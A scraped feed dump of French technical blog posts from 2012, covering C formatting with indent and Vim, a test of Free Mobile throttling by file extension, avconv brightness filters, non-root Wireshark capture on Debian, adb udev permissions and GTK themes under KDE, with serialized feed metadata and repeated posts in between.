L’outil indent permet de formater un source C selon des règles
définies par des paramètres en ligne de commande. Ces options sont très
nombreuses. Heureusement, il y a quelques styles bien connus
prédéfinis, comme le style K&R (option -kr).
Pour illustrer son fonctionnement, voici un code source écrit n’importe comment (et qui fait n’importe quoi) :
#include <stdio.h>
void f ( int* x )
{
*x=4;}
void g(int x)
{goto mylabel;
/* my comment */
if(x>10)x=10;
mylabel:
printf ("%d\n",x *2);
switch(x){case 1:x=4;break;case 2:x=1;}
while ( * ( &x ) <10)x++; /* what? */
}
void h(char ( * ( * x ( ) ) [ ] ) ( ) ) {
char ( * ( * y ) [ ] ) ( ) = \
x ( ) ; char ( * z ) ( ) = * \
( * y ) ; char c = z ( ); putchar \
(c);
}
int main(){
int i= 2; f(&i);
g(i);
return 0;
}Pour formater :
indent -st -kr -ts4 file.c
-st affiche le résultat sur la sortie standard au lieu de modifier le
fichier ;-kr utilise le style K&R ;-ts4 considère 4 espaces comme une tabulation.Voici le résultat :
#include <stdio.h>
void f(int *x)
{
*x = 4;
}
void g(int x)
{
goto mylabel;
/* my comment */
if (x > 10)
x = 10;
mylabel:
printf("%d\n", x * 2);
switch (x) {
case 1:
x = 4;
break;
case 2:
x = 1;
}
while (*(&x) < 10)
x++; /* what? */
}
void h(char (*(*x())[])())
{
char (*(*y)[]) () = x();
char (*z) () = *(*y);
char c = z();
putchar(c);
}
int main()
{
int i = 2;
f(&i);
g(i);
return 0;
}C’est plus joli, non ?
Pour pouvoir reformater directement dans Vim, il suffit d’ajouter dans
~/.vimrc la ligne suivante :
autocmd BufNewFile,BufRead *.c set formatprg=indent\ -kr\ -ts4Ensuite, la commande gq formate (u annule).
Par exemple, sur le fichier source mal formaté ci-dessus :
V ;j (ou la flèche du bas) jusqu’à la ligne 15 ;gq.Ainsi, seule la fonction g est formatée.
À partir de la ligne 7, le même résultat est obtenu en tapant directement gq8j
(descendre de 8 lignes) ou gq15G (jusqu’à la ligne 15).
Pour reformater un bloc, le plus simple est de se placer sur une accolade { ou
} et de taper gq% (% navigue entre les {}, () et [] ouvrant et
fermant).
Pour reformater tout le fichier, il faut taper gggqG :
gg amène le curseur au début du fichier ;gq formate jusqu’à… ;G va à la fin du fichier.:wq
Intrigué par le rapport d’un utilisateur sur RespectMyNet (qu’il présente en détail), j’ai voulu vérifier par moi-même.
Sur un serveur hébergé chez moi sur une ligne Free ADSL (maximum ~120Ko/s en upload), je crée un fichier totalement aléatoire dans un répertoire accessible en HTTP, avec plusieurs extensions :
# crée un fichier de 2Mio
dd if=/dev/urandom of=random count=4000
# crée plusieurs liens avec des extensions différentes
for ext in avi ogg oga webm pdf mp4 mov; do ln -s random{,.$ext}; done
Sur mon téléphone avec Android 4.11, connecté au réseau Free Mobile (sur une antenne d’Orange), je partage la connexion avec mon PC (Paramètres, Connexion, Sans fil et réseaux, Plus…, Partage de connexion, Via USB). Avec mon PC (sous Debian testing), je m’y connecte.
Je télécharge alors chacun des fichiers :
for ext in avi ogg oga webm pdf mp4 mov; do wget monserveur/random.$ext; done
Le résultat est sans appel.
Pour les fichiers portant l’extension .avi, .ogg, .mp4, .mov (et sans doute d’autres), le débit ne dépasse pas 5Ko/s et est même souvent en dessous d’1Ko/s :
requête HTTP transmise, en attente de la réponse...200 OK Longueur: 2048000 (2,0M) Sauvegarde en : «random.avi» 1% [ ] 34 486 757B/s eta 43m 6s
Par contre, pour les fichiers portant l’extension .oga, .webm, et .pdf, ça fonctionne parfaitement :
requête HTTP transmise, en attente de la réponse...200 OK Longueur: 2048000 (2,0M) Sauvegarde en : «random.oga» 27% [=========> ] 570 300 104K/s eta 14s
Cette limite ne vient pas de ma ligne Free ADSL (qui fonctionne parfaitement par ailleurs).
Free Mobile filtre donc les fichiers sur HTTP en fonction de leur extension.
Il reste à vérifier si cela se produit aussi sur une antenne Free (mais je n’en capte jamais).
Le problème ne se produit que sur une antenne Orange ; sur une antenne Free, ça fonctionne normalement.
";s:7:"dateiso";s:15:"20121017_124953";}s:15:"20121017_104953";a:7:{s:5:"title";s:28:"Free Mobile n'est pas neutre";s:4:"link";s:57:"http://blog.rom1v.com/2012/10/free-mobile-nest-pas-neutre";s:4:"guid";s:57:"http://blog.rom1v.com/2012/10/free-mobile-nest-pas-neutre";s:7:"pubDate";s:25:"2012-10-17T10:49:53+02:00";s:11:"description";s:0:"";s:7:"content";s:3212:"Intrigué par le rapport d’un utilisateur sur RespectMyNet (qu’il présente en détail), j’ai voulu vérifier par moi-même.
Sur un serveur hébergé chez moi sur une ligne Free ADSL (maximum ~120Ko/s en upload), je crée un fichier totalement aléatoire dans un répertoire accessible en HTTP, avec plusieurs extensions :
# crée un fichier de 2Mio
dd if=/dev/urandom of=random count=4000
# crée plusieurs liens avec des extensions différentes
for ext in avi ogg oga webm pdf mp4 mov; do ln -s random{,.$ext}; doneSur mon téléphone avec Android 4.11, connecté au réseau Free Mobile (sur une antenne d’Orange), je partage la connexion avec mon PC (Paramètres, Connexion, Sans fil et réseaux, Plus…, Partage de connexion, Via USB). Avec mon PC (sous Debian testing), je m’y connecte.
Je télécharge alors chacun des fichiers :
for ext in avi ogg oga webm pdf mp4 mov; do wget monserveur/random.$ext; doneLe résultat est sans appel.
Pour les fichiers portant l’extension .avi, .ogg, .mp4, .mov (et sans
doute d’autres), le débit ne dépasse pas 5Ko/s et est même souvent en
dessous d’1Ko/s :
requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 2048000 (2,0M) [video/x-msvideo]
Sauvegarde en : «random.avi»
1% [ ] 34 486 757B/s eta 43m 6s
Par contre, pour les fichiers portant l’extension .oga, .webm, et .pdf, ça
fonctionne parfaitement :
requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 2048000 (2,0M) [audio/ogg]
Sauvegarde en : «random.oga»
27% [=========> ] 570 300 104K/s eta 14s
Cette limite ne vient pas de ma ligne Free ADSL (qui fonctionne parfaitement par ailleurs). Free Mobile filtre donc les fichiers sur HTTP en fonction de leur extension.
Il reste à vérifier si cela se produit aussi sur une antenne Free (mais je n’en capte jamais).
EDIT : Le problème ne se produit que sur une antenne Orange ; sur une antenne Free, ça fonctionne normalement.
";s:7:"dateiso";s:15:"20121017_104953";}s:15:"20120814_142638";a:7:{s:5:"title";s:59:"Modifier la luminosité d’une vidéo dans avconv (ffmpeg)";s:4:"link";s:83:"http://blog.rom1v.com/2012/08/modifier-la-luminosite-dune-video-dans-avconv-ffmpeg/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4122";s:7:"pubDate";s:31:"Tue, 14 Aug 2012 12:26:38 +0000";s:11:"description";s:367:"Pour partager des vidéos capturées par mon appareil photo, je les convertissais jusqu’alors en Ogg/Theora grâce à ffmpeg2theora. Ce format (contrairement au h264) est libre et lisible nativement par Firefox, y compris par la version mobile. Mais j’envisage depuis longtemps de passer à WebM (le format libéré par Google il y a un peu plus […]";s:7:"content";s:5456:"
Pour partager des vidéos capturées par mon appareil photo, je les convertissais jusqu’alors en Ogg/Theora grâce à ffmpeg2theora. Ce format (contrairement au h264) est libre et lisible nativement par Firefox, y compris par la version mobile.
Mais j’envisage depuis longtemps de passer à WebM (le format libéré par Google il y a un peu plus de deux ans), plus performant, lui aussi lu nativement par Firefox (et par d’autres). Pour cela, je vais utiliser avconv.
Qu’est-ce qu’avconv ? Le meilleur moyen de le savoir est d’exécuter ffmpeg sans arguments :
$ ffmpeg … *** THIS PROGRAM IS DEPRECATED *** This program is only provided for compatibility and will be removed in a future release. Please use avconv instead.
En fait, c’est plus compliqué que ça.
J’ai précisé « ffmpeg » dans le titre du billet car je pense que c’est encore sous ce nom que l’outil est le plus connu. Le contenu de ce billet s’applique aussi bien à ffmpeg qu’à avconv.
Il m’arrive d’avoir besoin d’appliquer des filtres très simples ; typiquement, augmenter la luminosité d’une vidéo. ffmpeg2theora permet de le faire directement grâce à l’option -B. Mais on a beau chercher dans le man d’avconv, on ne trouve rien.
C’est là qu’intervient le projet frei0r. Il s’agit d’une API permettant d’appliquer des filtres vidéo que chaque application pourra utiliser. Et ça tombe bien, l’application avconv peut l’utiliser si elle a été compilée avec l’option --enable-frei0r.
La bonne nouvelle, c’est que la version distribuée par Debian wheezy est compilée avec cette option. La mauvaise, c’est que celle fournie dans Ubuntu 12.04 ne l’est pas.
frei0r a besoin de plugins permettant d’appliquer les filtres. Il est nécessaire pour cela d’installer frei0r-plugins :
sudo apt-get install frei0r-plugins
La syntaxe pour utiliser frei0r dans avconv est la suivante :
-vf frei0r=<filter_name>[{:|=}<param1>:<param2>:...:<paramN>]
Mais comment connaître les filter_names disponibles et leurs paramètres ?
Je n’ai trouvé aucune documentation à ce sujet. J’ai donc consulté les sources.
À partir de là, on comprend facilement que la luminosité est modifiée par le filtre brightness comportant un paramètre de type double (voir notamment la fonction f0r_get_param_info) compris entre 0 (sombre) et 1 (clair) (0.5 étant la luminosité de la vidéo d’origine).
En respectant la syntaxe, cela donne par exemple :
avconv -i video.mts -s 640x360 -ac 1 -q:a 2 -b:v 600k -vf frei0r=brightness:0.6 output.webm
Il existe plein d’autres filtres. Par exemple pour le contraste, c’est contrast0r :
-vf frei0r=contrast0r:0.4
Pour les combiner, il suffit de concaténer plusieurs blocs -vf :
-vf frei0r=brightness:0.6,frei0r=contrast0r:0.4
Malgré les apparences, avconv permet, pour peu qu’il soit compilé avec l’option-qui-va-bien, d’encoder des vidéos en modifiant la luminosité, le contraste, et d’appliquer bien d’autres filtres… ce qui est très pratique.
";s:7:"dateiso";s:15:"20120814_142638";}s:15:"20120814_122638";a:7:{s:5:"title";s:57:"Modifier la luminosité d'une vidéo dans avconv (ffmpeg)";s:4:"link";s:82:"http://blog.rom1v.com/2012/08/modifier-la-luminosite-dune-video-dans-avconv-ffmpeg";s:4:"guid";s:82:"http://blog.rom1v.com/2012/08/modifier-la-luminosite-dune-video-dans-avconv-ffmpeg";s:7:"pubDate";s:25:"2012-08-14T12:26:38+02:00";s:11:"description";s:0:"";s:7:"content";s:5052:"Pour partager des vidéos capturées par mon appareil photo, je les convertissais jusqu’alors en Ogg/Theora grâce à ffmpeg2theora. Ce format (contrairement au H264) est libre et lisible nativement par Firefox, y compris par la version mobile.
Mais j’envisage depuis longtemps de passer à WebM (le format libéré par Google il y a un peu plus de deux ans), plus performant, lui aussi lu nativement par Firefox (et par d’autres). Pour cela, je vais utiliser avconv.
Qu’est-ce qu’avconv ? Le meilleur moyen de le savoir est d’exécuter ffmpeg
sans arguments :
$ ffmpeg
…
*** THIS PROGRAM IS DEPRECATED ***
This program is only provided for compatibility and will be removed in a future release. Please use avconv instead.
EDIT : En fait, c’est plus compliqué que ça.
J’ai précisé ffmpeg dans le titre du billet car je pense que c’est encore sous ce nom que l’outil est le plus connu. Le contenu de ce billet s’applique aussi bien à ffmpeg qu’à avconv.
Il m’arrive d’avoir besoin d’appliquer des filtres très simples : typiquement,
augmenter la luminosité d’une vidéo. ffmpeg2theora permet de le faire
directement grâce à l’option
-B.
Mais on a beau chercher dans man avconv, on ne trouve rien.
C’est là qu’intervient le projet frei0r. Il s’agit d’une API permettant
d’appliquer des filtres vidéo que chaque application pourra utiliser. Et ça
tombe bien, l’application avconv peut l’utiliser si elle a été compilée avec
l’option --enable-frei0r.
La bonne nouvelle, c’est que la version distribuée par Debian wheezy est compilée avec cette option. La mauvaise, c’est que celle fournie dans Ubuntu 12.04 ne l’est pas.
frei0r a besoin de plugins permettant d’appliquer les filtres. Il est
nécessaire pour cela d’installer frei0r-plugins :
sudo apt-get install frei0r-plugins
La syntaxe pour utiliser frei0r dans avconv est la suivante :
-vf frei0r=<filter_name>[{:|=}<param1>:<param2>:...:<paramN>]
Mais comment connaître les filter_names disponibles et leurs paramètres ? Je
n’ai trouvé aucune documentation à ce sujet. J’ai donc consulté les
sources.
À partir de là, on comprend facilement que la luminosité est modifiée par le
filtre brightness comportant un paramètre de type double
(voir notamment la fonction f0r_get_param_info) compris entre 0 (sombre) et
1 (clair) (0.5 étant la luminosité de la vidéo d’origine).
En respectant la syntaxe, cela donne par exemple :
avconv -i video.mts -s 640x360 -ac 1 -q:a 2 -b:v 600k \
-vf frei0r=brightness:0.6 output.webm
Il existe plein d’autres filtres. Par exemple pour le contraste, c’est contrast0r :
-vf frei0r=contrast0r:0.4
Pour les combiner, il suffit de concaténer plusieurs blocs -vf :
-vf frei0r=brightness:0.6,frei0r=contrast0r:0.4
Malgré les apparences, avconv permet, pour peu qu’il soit compilé avec l’option-qui-va-bien, d’encoder des vidéos en modifiant la luminosité, le contraste, et d’appliquer bien d’autres filtres… ce qui est très pratique.
";s:7:"dateiso";s:15:"20120814_122638";}s:15:"20120602_154821";a:7:{s:5:"title";s:30:"Utiliser Wireshark sous Debian";s:4:"link";s:61:"http://blog.rom1v.com/2012/06/utiliser-wireshark-sous-debian/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4095";s:7:"pubDate";s:31:"Sat, 02 Jun 2012 13:48:21 +0000";s:11:"description";s:419:"Wireshark est un outil incontournable pour connaître les paquets qui transitent sur le réseau. Mais on se retrouve vite bloqué à cause d’un problème de droits. En effet, en démarrant wireshark avec un compte utilisateur non-root, l’interface graphique s’affiche, mais il est impossible de capturer les trames : aucune interface réseau n’est disponible. Devant ce problème, […]";s:7:"content";s:6263:"Wireshark est un outil incontournable pour connaître les paquets qui transitent sur le réseau. Mais on se retrouve vite bloqué à cause d’un problème de droits.
En effet, en démarrant wireshark avec un compte utilisateur non-root, l’interface graphique s’affiche, mais il est impossible de capturer les trames : aucune interface réseau n’est disponible.
Devant ce problème, que fait l’utilisateur pressé ? Il démarre wireshark en root, bien sûr (c’est ce que je faisais sous Ubuntu) ! Eh bien pas de chance :
$ sudo wireshark No protocol specified (wireshark:27210): Gtk-WARNING **: cannot open display: :0
Déjà, c’est bien fait pour lui : on n’essaie pas de démarrer une interface graphique en root !
Mais comment faire alors ? En non-root on ne peut pas capturer, en root on ne peut pas démarrer…
Alors on lit la doc, qui propose deux solutions :
less /usr/share/doc/wireshark/README.Debian
Une troisième solution, donnée en commentaire, me semble encore meilleure :
sudo tcpdump -pni eth0 -s0 -U -w - | wireshark -k -i -
Avec cette méthode, il faut d’abord capturer les paquets réseau et les sauver dans un fichier, grâce à dumpcat (en root), puis ouvrir ce fichier dans wireshark (non-root).
Pour démarrer la capture de l’interface eth0 dans le fichier /tmp/mycapture :
sudo dumpcap -i eth0 -w /tmp/mycapture
Pour connaître la liste des interfaces réseau capturables :
$ sudo dumpcap -D 1. eth0 2. wlan0 3. nflog (Linux netfilter log (NFLOG) interface) 4. any (Pseudo-device that captures on all interfaces) 5. lo
Ctrl+C arrête la capture.
Le fichier généré n’est lisible que par root. Avant de l’ouvrir dans Wireshark, il faut donc changer ses droits :
sudo chmod +r /tmp/mycapture
C’est la méthode configurée par défaut sous Debian.
Si on souhaite à la fois capturer et analyser à partir de Wireshark (et permettre les captures « en live »), sans passer par dumpcap en ligne de commande, il faut autoriser les utilisateur non-root à capturer des paquets.
Pour cela :
sudo dpkg-reconfigure wireshark-common
┌─────────────────────┤ Configuration de wireshark-common ├──────────────────────┐ │ │ │ Dumpcap peut être installé afin d'autoriser les membres du groupe │ │ « wireshark » à capturer des paquets. Cette méthode de capture est préférable │ │ à l'exécution de Wireshark ou Tshark avec les droits du superutilisateur, car │ │ elle permet d'exécuter moins de code avec des droits importants. │ │ │ │ Pour plus d'informations, veuillez consulter │ │ /usr/share/doc/wireshark-common/README.Debian. │ │ │ │ Cette fonctionnalité constitue un risque pour la sécurité, c'est pourquoi │ │ elle est désactivée par défaut. En cas de doute, il est suggéré de la laisser │ │ désactivée. │ │ │ │ Autoriser les utilisateurs non privilégiés à capturer des paquets ? │ │ │ │ <Oui> <Non> │ │ │ └────────────────────────────────────────────────────────────────────────────────┘
Après avoir répondu Oui, tous les utilisateurs du groupe wireshark (aucun, par défaut) seront autorisés à capturer les paquets.
Remarque : un programme non-root sera donc en théorie capable de savoir tout ce qui passe sur le réseau (déjà qu’il est capable de connaître tout ce qui est tapé au clavier).
Il ne reste donc plus qu’à ajouter son compte utilisateur au groupe wireshark :
sudo addgroup $USER wireshark
Cette modification ne sera prise en compte qu’après une reconnexion du compte utilisateur (il faut donc fermer la session et en démarrer une nouvelle).
Avec cette méthode, seul le processus de capture aura les droits root, l’interface graphique se contentant de droits non-root (merci la séparation des privilèges).
";s:7:"dateiso";s:15:"20120602_154821";}s:15:"20120602_144821";a:7:{s:5:"title";s:30:"Utiliser Wireshark sous Debian";s:4:"link";s:61:"http://blog.rom1v.com/2012/06/utiliser-wireshark-sous-debian/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4095";s:7:"pubDate";s:31:"Sat, 02 Jun 2012 12:48:21 +0000";s:11:"description";s:419:"Wireshark est un outil incontournable pour connaître les paquets qui transitent sur le réseau. Mais on se retrouve vite bloqué à cause d’un problème de droits. En effet, en démarrant wireshark avec un compte utilisateur non-root, l’interface graphique s’affiche, mais il est impossible de capturer les trames : aucune interface réseau n’est disponible. Devant ce problème, […]";s:7:"content";s:6263:"Wireshark est un outil incontournable pour connaître les paquets qui transitent sur le réseau. Mais on se retrouve vite bloqué à cause d’un problème de droits.
En effet, en démarrant wireshark avec un compte utilisateur non-root, l’interface graphique s’affiche, mais il est impossible de capturer les trames : aucune interface réseau n’est disponible.
Devant ce problème, que fait l’utilisateur pressé ? Il démarre wireshark en root, bien sûr (c’est ce que je faisais sous Ubuntu) ! Eh bien pas de chance :
$ sudo wireshark No protocol specified (wireshark:27210): Gtk-WARNING **: cannot open display: :0
Déjà, c’est bien fait pour lui : on n’essaie pas de démarrer une interface graphique en root !
Mais comment faire alors ? En non-root on ne peut pas capturer, en root on ne peut pas démarrer…
Alors on lit la doc, qui propose deux solutions :
less /usr/share/doc/wireshark/README.Debian
Une troisième solution, donnée en commentaire, me semble encore meilleure :
sudo tcpdump -pni eth0 -s0 -U -w - | wireshark -k -i -
Avec cette méthode, il faut d’abord capturer les paquets réseau et les sauver dans un fichier, grâce à dumpcat (en root), puis ouvrir ce fichier dans wireshark (non-root).
Pour démarrer la capture de l’interface eth0 dans le fichier /tmp/mycapture :
sudo dumpcap -i eth0 -w /tmp/mycapture
Pour connaître la liste des interfaces réseau capturables :
$ sudo dumpcap -D 1. eth0 2. wlan0 3. nflog (Linux netfilter log (NFLOG) interface) 4. any (Pseudo-device that captures on all interfaces) 5. lo
Ctrl+C arrête la capture.
Le fichier généré n’est lisible que par root. Avant de l’ouvrir dans Wireshark, il faut donc changer ses droits :
sudo chmod +r /tmp/mycapture
C’est la méthode configurée par défaut sous Debian.
Si on souhaite à la fois capturer et analyser à partir de Wireshark (et permettre les captures « en live »), sans passer par dumpcap en ligne de commande, il faut autoriser les utilisateur non-root à capturer des paquets.
Pour cela :
sudo dpkg-reconfigure wireshark-common
┌─────────────────────┤ Configuration de wireshark-common ├──────────────────────┐ │ │ │ Dumpcap peut être installé afin d'autoriser les membres du groupe │ │ « wireshark » à capturer des paquets. Cette méthode de capture est préférable │ │ à l'exécution de Wireshark ou Tshark avec les droits du superutilisateur, car │ │ elle permet d'exécuter moins de code avec des droits importants. │ │ │ │ Pour plus d'informations, veuillez consulter │ │ /usr/share/doc/wireshark-common/README.Debian. │ │ │ │ Cette fonctionnalité constitue un risque pour la sécurité, c'est pourquoi │ │ elle est désactivée par défaut. En cas de doute, il est suggéré de la laisser │ │ désactivée. │ │ │ │ Autoriser les utilisateurs non privilégiés à capturer des paquets ? │ │ │ │ <Oui> <Non> │ │ │ └────────────────────────────────────────────────────────────────────────────────┘
Après avoir répondu Oui, tous les utilisateurs du groupe wireshark (aucun, par défaut) seront autorisés à capturer les paquets.
Remarque : un programme non-root sera donc en théorie capable de savoir tout ce qui passe sur le réseau (déjà qu’il est capable de connaître tout ce qui est tapé au clavier).
Il ne reste donc plus qu’à ajouter son compte utilisateur au groupe wireshark :
sudo addgroup $USER wireshark
Cette modification ne sera prise en compte qu’après une reconnexion du compte utilisateur (il faut donc fermer la session et en démarrer une nouvelle).
Avec cette méthode, seul le processus de capture aura les droits root, l’interface graphique se contentant de droits non-root (merci la séparation des privilèges).
";s:7:"dateiso";s:15:"20120602_144821";}s:15:"20120602_124821";a:7:{s:5:"title";s:30:"Utiliser Wireshark sous Debian";s:4:"link";s:60:"http://blog.rom1v.com/2012/06/utiliser-wireshark-sous-debian";s:4:"guid";s:60:"http://blog.rom1v.com/2012/06/utiliser-wireshark-sous-debian";s:7:"pubDate";s:25:"2012-06-02T12:48:21+02:00";s:11:"description";s:0:"";s:7:"content";s:5814:"Wireshark est un outil incontournable pour connaître les paquets qui transitent sur le réseau. Mais on se retrouve vite bloqué à cause d’un problème de droits.
En effet, en démarrant wireshark avec un compte utilisateur non-root,
l’interface graphique s’affiche, mais il est impossible de capturer les trames :
aucune interface réseau n’est disponible.
Devant ce problème, que fait l’utilisateur pressé ? Il démarre wireshark en
root, bien sûr (c’est ce que je faisais sous Ubuntu) ! Eh bien pas de
chance :
$ sudo wireshark
No protocol specified
(wireshark:27210): Gtk-WARNING **: cannot open display: :0
Déjà, c’est bien fait pour lui : on n’essaie pas de démarrer une interface graphique en root !
Mais comment faire alors ? En non-root on ne peut pas capturer, en root on ne peut pas démarrer…
Alors on lit la doc, qui propose deux solutions :
less /usr/share/doc/wireshark/README.Debian
EDIT : Une troisième solution, donnée en commentaire, me semble encore meilleure :
sudo tcpdump -pni eth0 -s0 -U -w - | wireshark -k -i -Avec cette méthode, il faut d’abord capturer les paquets réseau et les sauver
dans un fichier, grâce à dumpcat (en root), puis ouvrir ce fichier dans
wireshark (non-root).
Pour démarrer la capture de l’interface eth0 dans le fichier
/tmp/mycapture :
sudo dumpcap -i eth0 -w /tmp/mycapture
Pour connaître la liste des interfaces réseau capturables :
$ sudo dumpcap -D
1. eth0
2. wlan0
3. nflog (Linux netfilter log (NFLOG) interface)
4. any (Pseudo-device that captures on all interfaces)
5. lo
Ctrl+C arrête la capture.
Le fichier généré n’est lisible que par root. Avant de l’ouvrir dans Wireshark, il faut donc changer ses droits :
sudo chmod +r /tmp/mycapture
C’est la méthode configurée par défaut sous Debian.
Si on souhaite à la fois capturer et analyser à partir de Wireshark (et
permettre les captures “en live”), sans passer par dumpcap en ligne de
commande, il faut autoriser les utilisateur non-root à capturer des paquets.
Pour cela :
sudo dpkg-reconfigure wireshark-common
Ce qui affiche :
┌─────────────────────┤ Configuration de wireshark-common ├──────────────────────┐
│ │
│ Dumpcap peut être installé afin d'autoriser les membres du groupe │
│ « wireshark » à capturer des paquets. Cette méthode de capture est préférable │
│ à l'exécution de Wireshark ou Tshark avec les droits du superutilisateur, car │
│ elle permet d'exécuter moins de code avec des droits importants. │
│ │
│ Pour plus d'informations, veuillez consulter │
│ /usr/share/doc/wireshark-common/README.Debian. │
│ │
│ Cette fonctionnalité constitue un risque pour la sécurité, c'est pourquoi │
│ elle est désactivée par défaut. En cas de doute, il est suggéré de la laisser │
│ désactivée. │
│ │
│ Autoriser les utilisateurs non privilégiés à capturer des paquets ? │
│ │
│ <Oui> <Non> │
│ │
└────────────────────────────────────────────────────────────────────────────────┘
Après avoir répondu Oui, tous les utilisateurs du groupe wireshark (aucun,
par défaut) seront autorisés à capturer les paquets.
Remarque : un programme non-root sera donc en théorie capable de savoir tout ce qui passe sur le réseau (déjà qu’il est capable de connaître tout ce qui est tapé au clavier).
Il ne reste donc plus qu’à ajouter son compte utilisateur au groupe
wireshark :
sudo addgroup $USER wireshark
Cette modification ne sera prise en compte qu’après une reconnexion du compte utilisateur (il faut donc fermer la session et en démarrer une nouvelle).
";s:7:"dateiso";s:15:"20120602_124821";}s:15:"20120525_004109";a:7:{s:5:"title";s:52:"Se connecter à un téléphone Android depuis Debian";s:4:"link";s:80:"http://blog.rom1v.com/2012/05/se-connecter-a-un-telephone-android-depuis-debian/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4063";s:7:"pubDate";s:31:"Thu, 24 May 2012 22:41:09 +0000";s:11:"description";s:424:"Je décrivais récemment la marche à suivre pour se connecter à un téléphone Android à partir d’une distribution GNU/Linux (qui correspond à ce que dit la documentation officielle). Pour résumer, il s’agit de créer un fichier /etc/udev/rules.d/51-android.rules contenant : SUBSYSTEM=="usb", MODE="0666", GROUP="plugdev" Mais ceci ne fonctionne pas sur Debian (en tout cas ni sur testing ni […]";s:7:"content";s:2348:"
Je décrivais récemment la marche à suivre pour se connecter à un téléphone Android à partir d’une distribution GNU/Linux (qui correspond à ce que dit la documentation officielle).
Pour résumer, il s’agit de créer un fichier /etc/udev/rules.d/51-android.rules contenant :
SUBSYSTEM=="usb", MODE="0666", GROUP="plugdev"
Mais ceci ne fonctionne pas sur Debian (en tout cas ni sur testing ni sur sid) :
$ adb devices List of devices attached ???????????? no permissions
En effet, contrairement aux autres distributions, Debian possède un fichier /lib/udev/rules.d/91-permissions.rules qui contient, entre autres :
# usbfs-like devices
SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device", \
MODE="0664"
Comme 91 > 51, ce fichier est parsé après notre fichier 51-android.rules.
La solution est donc très simple : renommer 51-android.rules en 92-android.rules afin que les permissions ne soient pas écrasées :
sudo mv /etc/udev/rules.d/{51,92}-android.rules
(ou en utilisant n’importe quel entier entre 92 et 99)
Après cette modification, udev doit être redémarré :
sudo service udev restart
et le téléphone débranché puis rebranché.
Et là, ça fonctionne :
$ adb devices List of devices attached 040140621600C00D device
Merci à unforgiven512 qui m’a donné la solution (en anglais).
";s:7:"dateiso";s:15:"20120525_004109";}s:15:"20120524_224109";a:7:{s:5:"title";s:52:"Se connecter à un téléphone Android depuis Debian";s:4:"link";s:79:"http://blog.rom1v.com/2012/05/se-connecter-a-un-telephone-android-depuis-debian";s:4:"guid";s:79:"http://blog.rom1v.com/2012/05/se-connecter-a-un-telephone-android-depuis-debian";s:7:"pubDate";s:25:"2012-05-24T22:41:09+02:00";s:11:"description";s:0:"";s:7:"content";s:2116:"Je décrivais récemment la marche à suivre pour se connecter à un téléphone Android à partir d’une distribution GNU/Linux (qui correspond à ce que dit la documentation officielle).
Pour résumer, il s’agit de créer un fichier /etc/udev/rules.d/51-android.rules
contenant :
SUBSYSTEM=="usb", MODE="0666", GROUP="plugdev"
Mais ceci ne fonctionne pas sur Debian (en tout cas ni sur testing ni sur sid) :
$ adb devices
List of devices attached
???????????? no permissions
En effet, contrairement aux autres distributions, Debian possède un fichier
/lib/udev/rules.d/91-permissions.rules qui contient, entre autres :
# usbfs-like devices
SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device", \
MODE="0664"
Comme 91 > 51, ce fichier est parsé après notre fichier 51-android.rules.
La solution est donc très simple : renommer 51-android.rules en
92-android.rules afin que les permissions ne soient pas écrasées :
sudo mv /etc/udev/rules.d/{51,92}-android.rules
(ou en utilisant n’importe quel entier entre 92 et 99)
Après cette modification, udev doit être redémarré :
sudo service udev restart
et le téléphone débranché puis rebranché.
Et là, ça fonctionne :
$ adb devices
List of devices attached
040140621600C00D device
Merci à unforgiven512 qui m’a donné la solution (en anglais).
";s:7:"dateiso";s:15:"20120524_224109";}s:15:"20120515_220819";a:7:{s:5:"title";s:50:"Configurer le thème des applications GTK sous KDE";s:4:"link";s:80:"http://blog.rom1v.com/2012/05/configurer-le-theme-des-applications-gtk-sous-kde/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4007";s:7:"pubDate";s:31:"Tue, 15 May 2012 20:08:19 +0000";s:11:"description";s:334:"Après être passé de KDE à Gnome il y a un peu plus de 4 ans, j’ai décidé de revenir à KDE. Mais de la même manière que les applications prévues pour KDE ne s’intègrent pas correctement à Gnome, les applications prévues pour Gnome sont horribles sur KDE : elles n’ont pas de thème du tout […]";s:7:"content";s:5061:"
Après être passé de KDE à Gnome il y a un peu plus de 4 ans, j’ai décidé de revenir à KDE. Mais de la même manière que les applications prévues pour KDE ne s’intègrent pas correctement à Gnome, les applications prévues pour Gnome sont horribles sur KDE : elles n’ont pas de thème du tout (sauf si vous appelez « thème » l’apparence de Windows 95).
Voici par exemple à quoi ressemble GIMP :

Le problème doit être résolu deux fois : une première pour les applications utilisant GTK2 et une seconde pour celles utilisant GTK3.
Pour GTK2, c’est facile. Sous Debian :
sudo apt-get install gtk2-engines-oxygen gtk-chtheme
(le nom des paquets peut varier selon votre distribution)
Il ne reste alors plus qu’à exécuter :
gtk-chtheme
et choisir le thème oxygen-gtk :

Le thème des applications telles que Firefox/Iceweasel, GIMP, Ario ou Eclipse sera alors totalement cohérent avec celui des applications prévues pour KDE :

Pour pousser plus loin l’intégration de Firefox/Iceweasel, il y a même un module complémentaire.
Pour GTK3, ce devrait être presque pareil… sauf que le paquet gtk3-engines-oxygen (ou oxygen-gtk3) n’est pas encore dans les dépôts Debian (il est par contre dans d’autres distributions, comme Ubuntu ou Arch Linux).
Il est bien sûr possible de télécharger les sources pour l’installer manuellement.
Mais nous pouvons nous contenter du thème natif de Gnome. Pour le configurer, il suffit d’installer gnome-themes-standard :
sudo apt-get install gnome-themes-standard
et de créer un fichier ~/.config/gtk-3.0/settings.ini contenant :
[Settings] gtk-theme-name=Adwaita gtk-fallback-icon-theme=gnome
(voir GtkSettings)
Gedit avant :

Gedit après :

En attendant qu’Oxygen GTK3 soit disponible dans les dépôts, c’est mieux que rien…
